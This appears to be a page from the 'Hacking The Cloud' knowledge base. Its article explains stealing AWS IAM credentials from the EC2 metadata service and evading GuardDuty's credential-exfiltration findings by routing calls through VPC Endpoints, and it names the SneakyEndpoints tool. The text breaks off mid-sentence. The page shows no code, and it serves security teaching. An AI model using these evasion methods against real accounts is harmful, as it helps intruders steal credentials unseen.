md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4 checked> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=true> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#sneakyendpoints class=md-nav__link> <span class=md-ellipsis> SneakyEndpoints </span> </a> </li> <li class=md-nav__item> <a href=#setup-and-usage class=md-nav__link> <span class=md-ellipsis> Setup and Usage </span> </a> </li> <li class=md-nav__item> <a href=#using-sts class=md-nav__link> <span class=md-ellipsis> Using STS </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#sneakyendpoints class=md-nav__link> <span class=md-ellipsis> SneakyEndpoints </span> </a> </li> <li class=md-nav__item> <a href=#setup-and-usage class=md-nav__link> <span class=md-ellipsis> Setup and Usage </span> </a> </li> <li class=md-nav__item> <a href=#using-sts class=md-nav__link> <span class=md-ellipsis> Using STS </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/avoiding-detection/steal-keys-undetected.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=bypass-credential-exfiltration-detection>Bypass Credential Exfiltration Detection<a class=headerlink href=#bypass-credential-exfiltration-detection title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/Frichetten/SneakyEndpoints>SneakyEndpoints</a>: Hide from the InstanceCredentialExfiltration GuardDuty finding by using VPC Endpoints </p> </li> </ul> </div> <p>A common technique when exploiting AWS environments is leveraging SSRF, XXE, command injection, etc. to steal IAM credentials from the <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ >instance metadata service</a> of a target EC2 instance. This can allow you to execute AWS API calls within the victim's account, however, it comes with a risk. If you were to try to use those credentials outside of that host (for example, from your laptop) an alert would be triggered. There is a GuardDuty finding which detects when IAM credentials are being used outside of EC2 called <a href=https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws>UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS</a>.</p> <p>To get around this alert being triggered, attackers could use the stolen credentials from the attacker's EC2 instance. The alert only detected if the credentials were used outside of EC2, not the victim's specific EC2 instance. So by using their own, or exploiting another EC2 instance, attackers could bypass the GuardDuty alert.</p> <p>On January 20th 2022, AWS released a new GuardDuty finding called <a href=https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws>UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS</a>. This new finding addressed the shortcomings of the previous one. Now, when IAM credentials are used from ANY EC2 instance, if those credentials don't belong to the same account as the EC2 instance which generated them, it triggers the alert. Thus, simply using your own EC2 instance is no longer viable. This addresses a long standing concern within the cloud security community.</p> <p>However, there is currently a functioning bypass for this - <a href=https://docs.aws.amazon.com/vpc/latest/privatelink/vpc-endpoints.html>VPC Endpoints</a>. Using VPC Endpoints will not trigger the GuardDuty alert. What this means is that, as an attacker, <code>if you steal IAM credentials from an EC2 instance, you can use those credentials from your own EC2 instance while routing traffic through VPC Endpoints. This will not trigger the GuardDuty finding</code>.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>There is another bypass option, however, it would only be useful in niche scenarios. The InstanceCredentialExfiltration finding is only tied to the AWS account, not the EC2 instance. As a result, if you compromise an EC2 instance in the target account and then compromise OTHER EC2 instances in the account, or steal their IAM 